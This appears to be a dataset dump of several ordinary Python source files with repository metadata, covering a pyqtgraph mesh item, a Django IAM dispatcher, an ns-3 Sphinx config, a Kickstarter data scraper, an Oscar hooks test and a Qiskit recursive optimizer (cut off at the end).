from OpenGL.GL import * from .. GLGraphicsItem import GLGraphicsItem from .. MeshData import MeshData from pyqtgraph.Qt import QtGui import pyqtgraph as pg from .. import shaders import numpy as np __all__ = ['GLMeshItem'] class GLMeshItem(GLGraphicsItem): def __init__(self, faces, vertexes=None): if isinstance(faces, MeshData): self.data = faces else: self.data = MeshData() self.data.setFaces(faces, vertexes) GLGraphicsItem.__init__(self) def initializeGL(self): self.shader = shaders.getShader('balloon') l = glGenLists(1) self.triList = l glNewList(l, GL_COMPILE) glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) glEnable( GL_BLEND ) glEnable( GL_ALPHA_TEST ) glEnable( GL_POINT_SMOOTH ) glDisable( GL_DEPTH_TEST ) glColor4f(1, 1, 1, .1) glBegin( GL_TRIANGLES ) for face in self.data: for (pos, norm, color) in face: glColor4f(*color) glNormal3f(norm.x(), norm.y(), norm.z()) glVertex3f(pos.x(), pos.y(), pos.z()) glEnd() glEndList() def paint(self): shaders.glUseProgram(self.shader) glCallList(self.triList) shaders.glUseProgram(0)

true

790c67d4a5356bd910dc789a418e8517e5910df9

3,052

py

Python

src/api/auth/bkiam/urls.py

Chromico/bk-base

be822d9bbee544a958bed4831348185a75604791

[ "MIT" ]

84

2021-06-30T06:20:23.000Z

2022-03-22T03:05:49.000Z

src/api/auth/bkiam/urls.py

Chromico/bk-base

be822d9bbee544a958bed4831348185a75604791

[ "MIT" ]

7

2021-06-30T06:21:16.000Z

2022-03-29T07:36:13.000Z

src/api/auth/bkiam/urls.py

Chromico/bk-base

be822d9bbee544a958bed4831348185a75604791

[ "MIT" ]

40

2021-06-30T06:21:26.000Z

2022-03-29T12:42:26.000Z

# -*- coding: utf-8 -* """ Tencent is pleased to support the open source community by making BK-BASE 蓝鲸基础平台 available. Copyright (C) 2021 THL A29 Limited, a Tencent company. All rights reserved. BK-BASE 蓝鲸基础平台 is licensed under the MIT License. License for BK-BASE 蓝鲸基础平台: -------------------------------------------------------------------- Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ from django.conf.urls import url from iam.contrib.django.dispatcher.dispatchers import ( DjangoBasicResourceApiDispatcher, success_response, ) from iam.resource.utils import get_filter_obj, get_page_obj from auth.bkiam import IAM_REGISTERED_SYSTEM from auth.bkiam import resources from auth.bkiam.backend import iam from auth.bkiam.resources import BKDataResourceProvider class BKDataDjangoBasicResourceApiDispatcher(DjangoBasicResourceApiDispatcher): def _dispatch_search_instance(self, request, data, request_id): options = self._get_options(request) filter_obj = get_filter_obj(data.get("filter"), ["parent", "keyword"]) page_obj = get_page_obj(data.get("page")) provider = self._provider[data["type"]] pre_process = getattr(provider, "pre_search_instance", None) if pre_process and callable(pre_process): pre_process(filter_obj, page_obj, **options) result = provider.list_instance(filter_obj, page_obj, **options) return success_response(result.to_dict(), request_id) def register_resources(dispatcher, resources_module): for item in dir(resources): if not item.endswith("ResourceProvider"): continue resource_class = getattr(resources_module, item) if issubclass(resource_class, BKDataResourceProvider) and resource_class.resource_type is not None: dispatcher.register(resource_class.resource_type, resource_class()) dispatcher = BKDataDjangoBasicResourceApiDispatcher(iam, IAM_REGISTERED_SYSTEM) register_resources(dispatcher, resources) urlpatterns = [url(r"^resource/api/v1/$", dispatcher.as_view([]), name="iamApi")]

44.882353

111

0.753277

from django.conf.urls import url from iam.contrib.django.dispatcher.dispatchers import ( DjangoBasicResourceApiDispatcher, success_response, ) from iam.resource.utils import get_filter_obj, get_page_obj from auth.bkiam import IAM_REGISTERED_SYSTEM from auth.bkiam import resources from auth.bkiam.backend import iam from auth.bkiam.resources import BKDataResourceProvider class BKDataDjangoBasicResourceApiDispatcher(DjangoBasicResourceApiDispatcher): def _dispatch_search_instance(self, request, data, request_id): options = self._get_options(request) filter_obj = get_filter_obj(data.get("filter"), ["parent", "keyword"]) page_obj = get_page_obj(data.get("page")) provider = self._provider[data["type"]] pre_process = getattr(provider, "pre_search_instance", None) if pre_process and callable(pre_process): pre_process(filter_obj, page_obj, **options) result = provider.list_instance(filter_obj, page_obj, **options) return success_response(result.to_dict(), request_id) def register_resources(dispatcher, resources_module): for item in dir(resources): if not item.endswith("ResourceProvider"): continue resource_class = getattr(resources_module, item) if issubclass(resource_class, BKDataResourceProvider) and resource_class.resource_type is not None: dispatcher.register(resource_class.resource_type, resource_class()) dispatcher = BKDataDjangoBasicResourceApiDispatcher(iam, IAM_REGISTERED_SYSTEM) register_resources(dispatcher, resources) urlpatterns = [url(r"^resource/api/v1/$", dispatcher.as_view([]), name="iamApi")]

true

790c68773133933418a5d386eacb3bbd8b661688

7,002

py

Python

ns-3-dev/doc/models/source/conf.py

maxvonhippel/snake

0805773dc34e1480dffaae40174aa1f82d1c6ce8

[ "BSD-3-Clause" ]

11

2015-11-24T11:07:28.000Z

2021-12-23T04:10:29.000Z

ns-3-dev/doc/models/source/conf.py

maxvonhippel/snake

0805773dc34e1480dffaae40174aa1f82d1c6ce8

[ "BSD-3-Clause" ]

null

ns-3-dev/doc/models/source/conf.py

maxvonhippel/snake

0805773dc34e1480dffaae40174aa1f82d1c6ce8

[ "BSD-3-Clause" ]

6

2016-03-01T06:32:21.000Z

2022-03-24T19:31:41.000Z

# -*- coding: utf-8 -*- # # ns-3 documentation build configuration file, created by # sphinx-quickstart on Tue Dec 14 09:00:39 2010. # # This file is execfile()d with the current directory set to its containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. import sys, os # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. #sys.path.insert(0, os.path.abspath('.')) # -- General configuration ----------------------------------------------------- # If your documentation needs a minimal Sphinx version, state it here. #needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be extensions # coming with Sphinx (named 'sphinx.ext.*') or your custom ones. extensions = ['sphinx.ext.pngmath'] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix of source filenames. source_suffix = '.rst' # The encoding of source files. #source_encoding = 'utf-8-sig' # The master toctree document. master_doc = 'index' # General information about the project. project = u'ns-3' copyright = u'2011, ns-3 project' # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = 'ns-3-dev' # The full version, including alpha/beta/rc tags. release = 'ns-3-dev' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. #language = None # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. #today_fmt = '%B %d, %Y' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns = [] # The reST default role (used for this markup: `text`) to use for all documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # A list of ignored prefixes for module index sorting. #modindex_common_prefix = [] # -- Options for HTML output --------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. html_theme = 'default' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. #html_theme_options = {} # Add any paths that contain custom themes here, relative to this directory. #html_theme_path = [] # The name for this set of Sphinx documents. If None, it defaults to # "<project> v<release> documentation". #html_title = None # A shorter title for the navigation bar. Default is the same as html_title. #html_short_title = None # The name of an image file (relative to this directory) to place at the top # of the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. #html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. #html_domain_indices = True # If false, no index is generated. #html_use_index = True # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, links to the reST sources are added to the pages. #html_show_sourcelink = True # If true, "Created using Sphinx" is shown in the HTML footer. Default is True. #html_show_sphinx = True # If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. #html_show_copyright = True # If true, an OpenSearch description file will be output, and all pages will # contain a <link> tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. #html_use_opensearch = '' # This is the file name suffix for HTML files (e.g. ".xhtml"). #html_file_suffix = None # Output file base name for HTML help builder. htmlhelp_basename = 'ns-3doc' # -- Options for LaTeX output -------------------------------------------------- # The paper size ('letter' or 'a4'). #latex_paper_size = 'letter' # The font size ('10pt', '11pt' or '12pt'). #latex_font_size = '10pt' # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, documentclass [howto/manual]). latex_documents = [ ('index', 'ns-3-model-library.tex', u'ns-3 Model Library', u'ns-3 project', 'manual'), ] # The name of an image file (relative to this directory) to place at the top of # the title page. #latex_logo = None # For "manual" documents, if this is true, then toplevel headings are parts, # not chapters. #latex_use_parts = False # If true, show page references after internal links. #latex_show_pagerefs = False # If true, show URL addresses after external links. #latex_show_urls = False # Additional stuff for the LaTeX preamble. #latex_preamble = '' # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. #latex_domain_indices = True # -- Options for manual page output -------------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ ('index', 'ns-3-model-library', u'ns-3 Model Library', [u'ns-3 project'], 1) ]

32.267281

80

0.716938

import sys, os extensions = ['sphinx.ext.pngmath'] templates_path = ['_templates'] source_suffix = '.rst' master_doc = 'index' project = u'ns-3' copyright = u'2011, ns-3 project' # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = 'ns-3-dev' # The full version, including alpha/beta/rc tags. release = 'ns-3-dev' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. #language = None # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. #today_fmt = '%B %d, %Y' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns = [] # The reST default role (used for this markup: `text`) to use for all documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # A list of ignored prefixes for module index sorting. #modindex_common_prefix = [] # -- Options for HTML output --------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. html_theme = 'default' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. #html_theme_options = {} # Add any paths that contain custom themes here, relative to this directory. #html_theme_path = [] # The name for this set of Sphinx documents. If None, it defaults to # "<project> v<release> documentation". #html_title = None # A shorter title for the navigation bar. Default is the same as html_title. #html_short_title = None # The name of an image file (relative to this directory) to place at the top # of the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. #html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. #html_domain_indices = True # If false, no index is generated. #html_use_index = True # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, links to the reST sources are added to the pages. #html_show_sourcelink = True # If true, "Created using Sphinx" is shown in the HTML footer. Default is True. #html_show_sphinx = True # If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. #html_show_copyright = True # If true, an OpenSearch description file will be output, and all pages will # contain a <link> tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. #html_use_opensearch = '' # This is the file name suffix for HTML files (e.g. ".xhtml"). #html_file_suffix = None # Output file base name for HTML help builder. htmlhelp_basename = 'ns-3doc' # -- Options for LaTeX output -------------------------------------------------- # The paper size ('letter' or 'a4'). #latex_paper_size = 'letter' # The font size ('10pt', '11pt' or '12pt'). #latex_font_size = '10pt' # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, documentclass [howto/manual]). latex_documents = [ ('index', 'ns-3-model-library.tex', u'ns-3 Model Library', u'ns-3 project', 'manual'), ] # The name of an image file (relative to this directory) to place at the top of # the title page. #latex_logo = None # For "manual" documents, if this is true, then toplevel headings are parts, # not chapters. #latex_use_parts = False # If true, show page references after internal links. #latex_show_pagerefs = False # If true, show URL addresses after external links. #latex_show_urls = False # Additional stuff for the LaTeX preamble. #latex_preamble = '' # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. #latex_domain_indices = True # -- Options for manual page output -------------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ ('index', 'ns-3-model-library', u'ns-3 Model Library', [u'ns-3 project'], 1) ]

true

790c69b6b006c6113255c1134a1cd5745849694b

1,706

py

Python

scripts/processing_scripts/raw_scrape_processing.py

sai-krishna-msk/KickAssist

7fb256e3ef4beff231332f6491ebb975f3fe4b43

[ "MIT" ]

null

scripts/processing_scripts/raw_scrape_processing.py

sai-krishna-msk/KickAssist

7fb256e3ef4beff231332f6491ebb975f3fe4b43

[ "MIT" ]

7

2021-06-08T21:18:49.000Z

2022-03-12T00:24:33.000Z

scripts/processing_scripts/raw_scrape_processing.py

sai-krishna-msk/KickAssist

7fb256e3ef4beff231332f6491ebb975f3fe4b43

[ "MIT" ]

null

import os import sys path = os.getcwd() package_path = (os.path.abspath(os.path.join(path, os.pardir))).replace('\\', '/')+'/' sys.path.insert(1, package_path) from config.config import * ##############################################Scrape-1################################################### def contains(text , subtext): if subtext in text: return True return False def get_scrape_url(url): encoding = "html.parser" resp = requests.get(url) http_encoding = resp.encoding if 'charset' in resp.headers.get('content-type', '').lower() else None html_encoding = EncodingDetector.find_declared_encoding(resp.content, is_html=True) encoding = html_encoding or http_encoding soup = BeautifulSoup(resp.content, from_encoding=encoding) for link in soup.find_all('a', href=True): scrape_url = str(link['href']) if(contains(scrape_url , "s3.amazonaws.com") and contains(scrape_url , ".zip")): break file_name = scrape_url.split("/Kickstarter/")[1] return scrape_url, file_name def download(scrape_url , output_directory): try: wget.download(scrape_url, out=output_directory) except: raise Exception("Failed in downloading the data file") return output_directory def unzip_data(input_file_path , output_directory): try: with zipfile.ZipFile(input_file_path, 'r') as zip_ref: zip_ref.extractall(output_directory) except Exception as e: raise Exception("Failed to unzip the data folder !+....{}",format(e)) os.remove(input_file_path) return True ###################################scrape-1ends############################################################

34.12

107

0.611958

import os import sys path = os.getcwd() package_path = (os.path.abspath(os.path.join(path, os.pardir))).replace('\\', '/')+'/' sys.path.insert(1, package_path) from config.config import *

true

790c6a37e8a5d4de2bc90959adfbdcde3b8e33e3

1,317

py

Python

tests/functional/dashboard/test_hook.py

cage1016/django-oscar-hooks

3dc6fedb1cccc7ad0a120c609599ee418b17f9d9

[ "BSD-3-Clause" ]

3

2016-06-01T22:58:39.000Z

2021-02-08T04:14:14.000Z

tests/functional/dashboard/test_hook.py

cage1016/django-oscar-hooks

3dc6fedb1cccc7ad0a120c609599ee418b17f9d9

[ "BSD-3-Clause" ]

2

2020-04-15T08:26:50.000Z

2020-05-31T19:28:06.000Z

tests/functional/dashboard/test_hook.py

cage1016/django-oscar-hooks

3dc6fedb1cccc7ad0a120c609599ee418b17f9d9

[ "BSD-3-Clause" ]

null

from django.core.urlresolvers import reverse from oscar.core.loading import get_model from oscar.test.testcases import WebTestCase, add_permissions from oscar.test.factories import ( CategoryFactory, PartnerFactory, ProductFactory, ProductAttributeFactory) from hooks.test.factories import ( HookEventFactory, HookFactory ) ProductClass = get_model('catalogue', 'ProductClass') Hook = get_model('hooks', 'Hook') class TestAStaffUser(WebTestCase): is_staff = True def setUp(self): super(TestAStaffUser, self).setUp() self.partner = PartnerFactory() def test_can_create_hook_with_hook_event(self): hookevent = HookEventFactory() hook = HookFactory() product_class = ProductClass.objects.create(name="Book") page = self.get(reverse('hook-create', kwargs={"hook_class_slug": product_class.slug})) form = page.form form["name"] = u'books' form["description"] = u'this is description' form["hookevent_set-0-id"] = hook form["hookevent_set-0-signal_type"] = hookevent.signal_type form["hookevent_set-0-URL"] = hookevent.URL form["hookevent_set-0-extra_headers"] = hookevent.extra_headers response = form.submit(name='action', value='save') assert Hook.objects.count() == 2

32.121951

95

0.699317

from django.core.urlresolvers import reverse from oscar.core.loading import get_model from oscar.test.testcases import WebTestCase, add_permissions from oscar.test.factories import ( CategoryFactory, PartnerFactory, ProductFactory, ProductAttributeFactory) from hooks.test.factories import ( HookEventFactory, HookFactory ) ProductClass = get_model('catalogue', 'ProductClass') Hook = get_model('hooks', 'Hook') class TestAStaffUser(WebTestCase): is_staff = True def setUp(self): super(TestAStaffUser, self).setUp() self.partner = PartnerFactory() def test_can_create_hook_with_hook_event(self): hookevent = HookEventFactory() hook = HookFactory() product_class = ProductClass.objects.create(name="Book") page = self.get(reverse('hook-create', kwargs={"hook_class_slug": product_class.slug})) form = page.form form["name"] = u'books' form["description"] = u'this is description' form["hookevent_set-0-id"] = hook form["hookevent_set-0-signal_type"] = hookevent.signal_type form["hookevent_set-0-URL"] = hookevent.URL form["hookevent_set-0-extra_headers"] = hookevent.extra_headers response = form.submit(name='action', value='save') assert Hook.objects.count() == 2

true

790c6b9006ec8858bb51f19dce28a4f5869a97fe

13,424

py

Python

qiskit/optimization/algorithms/recursive_minimum_eigen_optimizer.py

Cristian-Malinescu/qiskit-aqua

b29596800447c3130a20ec72a18b7fd8ed9fdb2f

[ "Apache-2.0" ]

null

qiskit/optimization/algorithms/recursive_minimum_eigen_optimizer.py

Cristian-Malinescu/qiskit-aqua

b29596800447c3130a20ec72a18b7fd8ed9fdb2f

[ "Apache-2.0" ]

null

qiskit/optimization/algorithms/recursive_minimum_eigen_optimizer.py

Cristian-Malinescu/qiskit-aqua

b29596800447c3130a20ec72a18b7fd8ed9fdb2f

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- # This code is part of Qiskit. # # (C) Copyright IBM 2020. # # This code is licensed under the Apache License, Version 2.0. You may # obtain a copy of this license in the LICENSE.txt file in the root directory # of this source tree or at http://www.apache.org/licenses/LICENSE-2.0. # # Any modifications or derivative works of this code must retain this # copyright notice, and modified files need to carry a notice indicating # that they have been altered from the originals. """A recursive minimal eigen optimizer in Qiskit's optimization module.""" from copy import deepcopy from enum import Enum from typing import Optional, Union, List, Tuple, Dict import logging import numpy as np from qiskit.aqua.algorithms import NumPyMinimumEigensolver from qiskit.aqua.utils.validation import validate_min from .optimization_algorithm import OptimizationAlgorithm, OptimizationResult from .minimum_eigen_optimizer import MinimumEigenOptimizer, MinimumEigenOptimizationResult from ..converters.quadratic_program_to_qubo import QuadraticProgramToQubo from ..exceptions import QiskitOptimizationError from ..problems import Variable from ..problems.quadratic_program import QuadraticProgram logger = logging.getLogger(__name__) class IntermediateResult(Enum): """ Defines whether the intermediate results of :class:`~qiskit.optimization.algorithms.RecursiveMinimumEigenOptimizer` at each iteration should be stored and returned to the end user. """ NO_ITERATIONS = 0 """No intermediate results are stored.""" LAST_ITERATION = 1 """Only results from the last iteration are stored.""" ALL_ITERATIONS = 2 """All intermediate results are stored.""" class RecursiveMinimumEigenOptimizationResult(OptimizationResult): """Recursive Eigen Optimizer Result.""" def __init__(self, x: Union[List[float], np.ndarray], fval: float, variables: List[Variable], replacements: Dict[str, Tuple[str, int]], history: Tuple[List[MinimumEigenOptimizationResult], OptimizationResult]) -> None: """ Constructs an instance of the result class. Args: x: the optimal value found in the optimization. fval: the optimal function value. variables: the list of variables of the optimization problem. replacements: a dictionary of substituted variables. Key is a variable being substituted, value is a tuple of substituting variable and a weight, either 1 or -1. history: a tuple containing intermediate results. The first element is a list of :class:`~qiskit.optimization.algorithms.MinimumEigenOptimizerResult` obtained by invoking :class:`~qiskit.optimization.algorithms.MinimumEigenOptimizer` iteratively, the second element is an instance of :class:`~qiskit.optimization.algorithm.OptimizationResult` obtained at the last step via `min_num_vars_optimizer`. """ super().__init__(x, fval, variables, None) self._replacements = replacements self._history = history @property def replacements(self) -> Dict[str, Tuple[str, int]]: """ Returns a dictionary of substituted variables. Key is a variable being substituted, value is a tuple of substituting variable and a weight, either 1 or -1.""" return self._replacements @property def history(self) -> Tuple[List[MinimumEigenOptimizationResult], OptimizationResult]: """ Returns intermediate results. The first element is a list of :class:`~qiskit.optimization.algorithms.MinimumEigenOptimizerResult` obtained by invoking :class:`~qiskit.optimization.algorithms.MinimumEigenOptimizer` iteratively, the second element is an instance of :class:`~qiskit.optimization.algorithm.OptimizationResult` obtained at the last step via `min_num_vars_optimizer`. """ return self._history class RecursiveMinimumEigenOptimizer(OptimizationAlgorithm): """A meta-algorithm that applies a recursive optimization. The recursive minimum eigen optimizer applies a recursive optimization on top of :class:`~qiskit.optimization.algorithms.MinimumEigenOptimizer`. The algorithm is introduced in [1]. Examples: Outline of how to use this class: .. code-block:: from qiskit.aqua.algorithms import QAOA from qiskit.optimization.problems import QuadraticProgram from qiskit.optimization.algorithms import RecursiveMinimumEigenOptimizer problem = QuadraticProgram() # specify problem here # specify minimum eigen solver to be used, e.g., QAOA qaoa = QAOA(...) optimizer = RecursiveMinimumEigenOptimizer(qaoa) result = optimizer.solve(problem) References: [1]: Bravyi et al. (2019), Obstacles to State Preparation and Variational Optimization from Symmetry Protection. http://arxiv.org/abs/1910.08980. """ def __init__(self, min_eigen_optimizer: MinimumEigenOptimizer, min_num_vars: int = 1, min_num_vars_optimizer: Optional[OptimizationAlgorithm] = None, penalty: Optional[float] = None, history: Optional[IntermediateResult] = IntermediateResult.LAST_ITERATION) -> None: """ Initializes the recursive minimum eigen optimizer. This initializer takes a ``MinimumEigenOptimizer``, the parameters to specify until when to to apply the iterative scheme, and the optimizer to be applied once the threshold number of variables is reached. Args: min_eigen_optimizer: The eigen optimizer to use in every iteration. min_num_vars: The minimum number of variables to apply the recursive scheme. If this threshold is reached, the min_num_vars_optimizer is used. min_num_vars_optimizer: This optimizer is used after the recursive scheme for the problem with the remaining variables. penalty: The factor that is used to scale the penalty terms corresponding to linear equality constraints. history: Whether the intermediate results are stored. Default value is :py:obj:`~IntermediateResult.LAST_ITERATION`. Raises: QiskitOptimizationError: In case of invalid parameters (num_min_vars < 1). """ validate_min('min_num_vars', min_num_vars, 1) self._min_eigen_optimizer = min_eigen_optimizer self._min_num_vars = min_num_vars if min_num_vars_optimizer: self._min_num_vars_optimizer = min_num_vars_optimizer else: self._min_num_vars_optimizer = MinimumEigenOptimizer(NumPyMinimumEigensolver()) self._penalty = penalty self._history = history self._qubo_converter = QuadraticProgramToQubo() def get_compatibility_msg(self, problem: QuadraticProgram) -> str: """Checks whether a given problem can be solved with this optimizer. Checks whether the given problem is compatible, i.e., whether the problem can be converted to a QUBO, and otherwise, returns a message explaining the incompatibility. Args: problem: The optimization problem to check compatibility. Returns: A message describing the incompatibility. """ return QuadraticProgramToQubo.get_compatibility_msg(problem) def solve(self, problem: QuadraticProgram) -> OptimizationResult: """Tries to solve the given problem using the recursive optimizer. Runs the optimizer to try to solve the optimization problem. Args: problem: The problem to be solved. Returns: The result of the optimizer applied to the problem. Raises: QiskitOptimizationError: Incompatible problem. QiskitOptimizationError: Infeasible due to variable substitution """ self._verify_compatibility(problem) # convert problem to QUBO, this implicitly checks if the problem is compatible problem_ = self._qubo_converter.convert(problem) problem_ref = deepcopy(problem_) # run recursive optimization until the resulting problem is small enough replacements = {} # type: Dict[str, Tuple[str, int]] min_eigen_results = [] # type: List[MinimumEigenOptimizationResult] while problem_.get_num_vars() > self._min_num_vars: # solve current problem with optimizer res = self._min_eigen_optimizer.solve(problem_) # type: MinimumEigenOptimizationResult if self._history == IntermediateResult.ALL_ITERATIONS: min_eigen_results.append(res) # analyze results to get strongest correlation correlations = res.get_correlations() i, j = self._find_strongest_correlation(correlations) x_i = problem_.variables[i].name x_j = problem_.variables[j].name if correlations[i, j] > 0: # set x_i = x_j problem_ = problem_.substitute_variables(variables={i: (j, 1)}) if problem_.status == QuadraticProgram.Status.INFEASIBLE: raise QiskitOptimizationError('Infeasible due to variable substitution') replacements[x_i] = (x_j, 1) else: # set x_i = 1 - x_j, this is done in two steps: # 1. set x_i = 1 + x_i # 2. set x_i = -x_j # 1a. get additional offset constant = problem_.objective.constant constant += problem_.objective.linear[i] constant += problem_.objective.quadratic[i, i] problem_.objective.constant = constant # 1b. get additional linear part for k in range(problem_.get_num_vars()): coeff = problem_.objective.linear[k] if k == i: coeff += 2*problem_.objective.quadratic[i, k] else: coeff += problem_.objective.quadratic[i, k] # set new coefficient if not too small if np.abs(coeff) > 1e-10: problem_.objective.linear[k] = coeff else: problem_.objective.linear[k] = 0 # 2. replace x_i by -x_j problem_ = problem_.substitute_variables(variables={i: (j, -1)}) if problem_.status == QuadraticProgram.Status.INFEASIBLE: raise QiskitOptimizationError('Infeasible due to variable substitution') replacements[x_i] = (x_j, -1) # solve remaining problem result = self._min_num_vars_optimizer.solve(problem_) # unroll replacements var_values = {} for i, x in enumerate(problem_.variables): var_values[x.name] = result.x[i] def find_value(x, replacements, var_values): if x in var_values: # if value for variable is known, return it return var_values[x] elif x in replacements: # get replacement for variable (y, sgn) = replacements[x] # find details for replacing variable value = find_value(y, replacements, var_values) # construct, set, and return new value var_values[x] = value if sgn == 1 else 1 - value return var_values[x] else: raise QiskitOptimizationError('Invalid values!') # loop over all variables to set their values for x_i in problem_ref.variables: if x_i.name not in var_values: find_value(x_i.name, replacements, var_values) # build history before any translations are applied # min_eigen_results is an empty list if history is set to NO or LAST. history = (min_eigen_results, None if self._history == IntermediateResult.NO_ITERATIONS else result) # construct result x_v = [var_values[x_aux.name] for x_aux in problem_ref.variables] fval = result.fval result = OptimizationResult(x=x_v, fval=fval, variables=problem_ref.variables) result = self._qubo_converter.interpret(result) return RecursiveMinimumEigenOptimizationResult(x=result.x, fval=result.fval, variables=result.variables, replacements=replacements, history=history) def _find_strongest_correlation(self, correlations): # get absolute values and set diagonal to -1 to make sure maximum is always on off-diagonal abs_correlations = np.abs(correlations) for i in range(len(correlations)): abs_correlations[i, i] = -1 # get index of maximum (by construction on off-diagonal) m_max = np.argmax(abs_correlations.flatten()) # translate back to indices i = int(m_max // len(correlations)) j = int(m_max - i*len(correlations)) return (i, j)

43.584416

100

0.65003

from copy import deepcopy from enum import Enum from typing import Optional, Union, List, Tuple, Dict import logging import numpy as np from qiskit.aqua.algorithms import NumPyMinimumEigensolver from qiskit.aqua.utils.validation import validate_min from .optimization_algorithm import OptimizationAlgorithm, OptimizationResult from .minimum_eigen_optimizer import MinimumEigenOptimizer, MinimumEigenOptimizationResult from ..converters.quadratic_program_to_qubo import QuadraticProgramToQubo from ..exceptions import QiskitOptimizationError from ..problems import Variable from ..problems.quadratic_program import QuadraticProgram logger = logging.getLogger(__name__) class IntermediateResult(Enum): NO_ITERATIONS = 0 LAST_ITERATION = 1 ALL_ITERATIONS = 2 class RecursiveMinimumEigenOptimizationResult(OptimizationResult): def __init__(self, x: Union[List[float], np.ndarray], fval: float, variables: List[Variable], replacements: Dict[str, Tuple[str, int]], history: Tuple[List[MinimumEigenOptimizationResult], OptimizationResult]) -> None: super().__init__(x, fval, variables, None) self._replacements = replacements self._history = history @property def replacements(self) -> Dict[str, Tuple[str, int]]: return self._replacements @property def history(self) -> Tuple[List[MinimumEigenOptimizationResult], OptimizationResult]: return self._history class RecursiveMinimumEigenOptimizer(OptimizationAlgorithm): def __init__(self, min_eigen_optimizer: MinimumEigenOptimizer, min_num_vars: int = 1, min_num_vars_optimizer: Optional[OptimizationAlgorithm] = None, penalty: Optional[float] = None, history: Optional[IntermediateResult] = IntermediateResult.LAST_ITERATION) -> None: validate_min('min_num_vars', min_num_vars, 1) self._min_eigen_optimizer = min_eigen_optimizer self._min_num_vars = min_num_vars if min_num_vars_optimizer: self._min_num_vars_optimizer = min_num_vars_optimizer else: self._min_num_vars_optimizer = MinimumEigenOptimizer(NumPyMinimumEigensolver()) self._penalty = penalty self._history = history 